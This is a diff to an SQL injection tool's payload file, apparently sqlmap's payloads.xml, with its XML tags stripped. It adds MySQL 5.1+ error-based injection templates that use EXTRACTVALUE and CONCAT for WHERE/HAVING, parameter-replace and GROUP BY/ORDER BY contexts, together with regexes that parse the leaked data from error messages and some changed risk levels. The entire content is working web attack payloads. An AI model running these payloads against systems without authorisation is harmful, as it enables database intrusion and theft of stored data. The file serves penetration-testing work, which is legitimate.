diff --git a/xml/payloads.xml b/xml/payloads.xml index a5af03428..f8fa292c5 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -1009,6 +1009,26 @@ Formats: + + MySQL >= 5.1 AND error-based - WHERE or HAVING clause + 2 + 2 + 0 + 1 + 1 + AND EXTRACTVALUE([RANDNUM], CONCAT(0x5C, '[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + + AND EXTRACTVALUE([RANDNUM], CONCAT(0x5C, '[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+
+ MySQL >= 4.1 AND error-based - WHERE or HAVING clause 2 @@ -1187,11 +1207,31 @@ Formats: + + MySQL >= 5.1 OR error-based - WHERE or HAVING clause + 2 + 3 + 2 + 1 + 1 + OR EXTRACTVALUE([RANDNUM], CONCAT(0x5C, '[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + + OR EXTRACTVALUE([RANDNUM], CONCAT(0x5C, '[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+
+ MySQL >= 4.1 OR error-based - WHERE or HAVING clause 2 2 - 0 + 2 1 2 OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM] UNION SELECT [RANDNUM1])a GROUP BY x LIMIT 1) @@ -1211,7 +1251,7 @@ Formats: MySQL OR error-based - WHERE or HAVING clause 2 3 - 0 + 2 1 2 OR 1 GROUP BY CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0) @@ -1392,6 +1432,26 @@ Formats: + + MySQL >= 5.1 - Parameter replace + 2 + 3 + 0 + 1,2,3 + 3 + (EXTRACTVALUE([RANDNUM], CONCAT(0x5C, '[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))) + + (EXTRACTVALUE([RANDNUM], CONCAT(0x5C, '[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+
+ PostgreSQL error-based - Parameter replace 2 @@ -1493,6 +1553,26 @@ Formats: + + MySQL >= 5.1 error-based - GROUP BY and ORDER BY clauses + 2 + 3 + 0 + 2,3 + 1 + ,EXTRACTVALUE([RANDNUM], CONCAT(0x5C, '[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + + ,EXTRACTVALUE([RANDNUM], CONCAT(0x5C, '[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+
+ PostgreSQL error-based - GROUP BY and ORDER BY clauses 2